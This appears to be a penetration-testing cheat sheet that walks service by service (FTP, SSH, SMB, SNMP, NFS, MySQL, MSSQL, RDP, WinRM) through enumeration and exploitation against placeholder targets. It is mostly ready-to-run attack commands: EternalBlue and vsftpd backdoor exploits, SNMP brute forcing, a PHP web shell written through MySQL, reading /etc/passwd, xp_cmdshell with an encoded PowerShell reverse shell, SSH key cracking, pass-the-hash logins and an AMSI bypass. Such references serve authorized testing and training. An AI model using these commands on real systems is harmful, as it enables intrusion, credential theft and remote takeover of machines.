Network
Service Enumeration Deep Dive
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from External access only
FTP · Port 21
Step 1: Check anonymous login
ftp <TARGET-IP>
Username: anonymous Password: anonymous (or blank)
Step 2: Nmap FTP scripts
nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -p 21 <TARGET-IP>
Step 3: Navigate and retrieve files
ftp> ls -la
ftp> cd /path
ftp> binary # Switch to binary mode before downloading
ftp> get filename
ftp> mget * # Get everything
ftp> prompt off # Disable download prompts
Step 4: Upload (check if write access exists)
ftp> put /local/file.php
vsftpd 2.3.4 · classic backdoor
searchsploit vsftpd 2.3.4
Metasploit: use exploit/unix/ftp/vsftpd_234_backdoor
SSH · Port 22
Step 1: Banner grab + version
ssh -v <TARGET-IP> 2>&1 | head -20
nc -nv <TARGET-IP> 22
Step 2: Check for weak keys
nmap --script ssh-hostkey,ssh-auth-methods -p 22 <TARGET-IP>
Step 3: Username enumeration (OpenSSH < 7.7)
searchsploit openssh user enumeration
python3 /usr/share/exploitdb/exploits/linux/remote/45939.py <TARGET-IP> root
Step 4: Use found credentials / keys
ssh <USER>@<TARGET-IP>
ssh -i /path/to/id_rsa <USER>@<TARGET-IP>
chmod 600 id_rsa && ssh -i id_rsa <USER>@<TARGET-IP>
Step 5: Crack SSH private key passphrase
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
HTTP/HTTPS · Ports 80, 443, 8080, 8443
Step 1: Tech fingerprint
whatweb http://<TARGET-IP> -a 3
curl -IL http://<TARGET-IP>
nikto -h http://<TARGET-IP> -o scans/nikto.txt
Step 2: Directory enumeration
gobuster dir -u http://<TARGET-IP> \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,bak,old,zip,sql \ -o scans/gobuster_med.txt \ -t 50
Step 3: Check standard files
curl http://<TARGET-IP>/robots.txt
curl http://<TARGET-IP>/.htaccess
curl http://<TARGET-IP>/.git/HEAD
curl http://<TARGET-IP>/sitemap.xml
curl http://<TARGET-IP>/crossdomain.xml
Step 4: Virtual host discovery
gobuster vhost -u http://<TARGET-IP> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Step 5: Manual exploration with Burp Suite proxy
Set browser proxy to 127.0.0.1:8080, browse all functionality
→ Full web methodology in Web Application PT
SMB · Ports 139, 445
Step 1: Null session share enum
smbclient -L //<TARGET-IP> -N
enum4linux-ng -A <TARGET-IP> | tee scans/enum4linux.txt
Step 2: CrackMapExec recon
crackmapexec smb <TARGET-IP>
crackmapexec smb <TARGET-IP> -u '' -p '' --shares
crackmapexec smb <TARGET-IP> -u 'guest' -p '' --shares
Step 3: Connect and browse shares
smbclient //<TARGET-IP>/<SHARE> -N
smbclient //<TARGET-IP>/<SHARE> -U <USER>%<PASS>
Step 4: Recursive download
smbclient //<TARGET-IP>/<SHARE> -N -c "recurse on; prompt off; mget *"
Step 5: Check for MS17-010 (EternalBlue)
nmap --script smb-vuln-ms17-010 -p 445 <TARGET-IP>
Step 6: EternalBlue exploit
Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET-IP>
set LHOST <YOUR-IP>
run
Manual (zzz_exploit.py from GitHub):
python3 zzz_exploit.py <TARGET-IP>
SNMP · Port 161 (UDP)
Step 1: Community string brute force
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET-IP>
hydra -P /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt \ -o scans/snmp_brute.txt snmp://<TARGET-IP>
Step 2: Full SNMP walk
snmpwalk -c public -v2c <TARGET-IP> | tee scans/snmpwalk.txt
snmp-check <TARGET-IP> -c public | tee scans/snmpcheck.txt
Step 3: Target useful MIBs
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.4.1.77.1.2.25 # Windows users
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.6.13.1.3 # TCP ports
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.6.3.1.2 # Installed software
Step 4: Look for credentials in process list and software names
grep -i "pass\|cred\|user\|key\|secret\|token" scans/snmpwalk.txt
NFS · Ports 111, 2049
Step 1: Enumerate available mounts
showmount -e <TARGET-IP>
nmap -sV --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <TARGET-IP>
Step 2: Mount the share
mkdir /mnt/nfs
mount -t nfs <TARGET-IP>:/exported/path /mnt/nfs -nolock -o vers=3
ls -la /mnt/nfs
Step 3: Check for no_root_squash
If /etc/exports on target shows no_root_squash, you can plant a SUID binary as root
Full no_root_squash exploitation is covered in Linux PrivEsc
Step 4: Look for interesting files
find /mnt/nfs -type f 2>/dev/null
find /mnt/nfs -name "*.conf" -o -name "*.txt" -o -name "*.key" 2>/dev/null
Cleanup
umount /mnt/nfs
MySQL · Port 3306
Step 1: Attempt login
mysql -h <TARGET-IP> -u root -p
mysql -h <TARGET-IP> -u root --password=""
mysql -h <TARGET-IP> -u "" --password=""
Step 2: Nmap MySQL scripts
nmap --script mysql-empty-password,mysql-info,mysql-databases,mysql-users -p 3306 <TARGET-IP>
Step 3: Database enumeration
SHOW DATABASES;
USE <db>;
SHOW TABLES;
DESCRIBE <table>;
SELECT * FROM <table> LIMIT 10;
SELECT user, password, authentication_string FROM mysql.user;
Step 4: RCE via file write (requires FILE privilege)
SHOW VARIABLES LIKE 'secure_file_priv'; # Must be empty/NULL for write to work
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php';
SELECT LOAD_FILE('/etc/passwd');MSSQL · Port 1433
Step 1: Connect
impacket-mssqlclient <USER>:<PASS>@<TARGET-IP>
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET-IP> -windows-auth
Step 2: Nmap enumeration
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-config,ms-sql-ntlm-info -p 1433 <TARGET-IP>
Step 3: Basic queries
SELECT @@version;
SELECT name FROM master..sysdatabases;
USE <db>; SELECT * FROM INFORMATION_SCHEMA.TABLES;
Step 4: Enable and use xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
Step 5: Reverse shell via xp_cmdshell
EXEC xp_cmdshell 'powershell -e <BASE64-ENCODED-REVSHELL>';
RDP · Port 3389
Step 1: Check + gather info
nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 <TARGET-IP>
Step 2: Connect with creds
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET-IP> /cert:ignore +clipboard /dynamic-resolution
Step 3: Enable RDP from existing shell (Windows target)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
WinRM · Ports 5985 / 5986
Step 1: Verify WinRM is accessible
crackmapexec winrm <TARGET-IP> -u <USER> -p <PASS>
nmap -p 5985,5986 <TARGET-IP>
Step 2: Connect with evil-winrm
evil-winrm -i <TARGET-IP> -u <USER> -p <PASS>
evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>
Step 3: Useful evil-winrm features
upload /kali/path/winpeas.exe
download C:\Users\user\proof.txt
menu # Shows available commands: Bypass-4MSI, Invoke-Binary, etc.
Bypass-4MSI # AMSI bypass
via enum4linux
via gobuster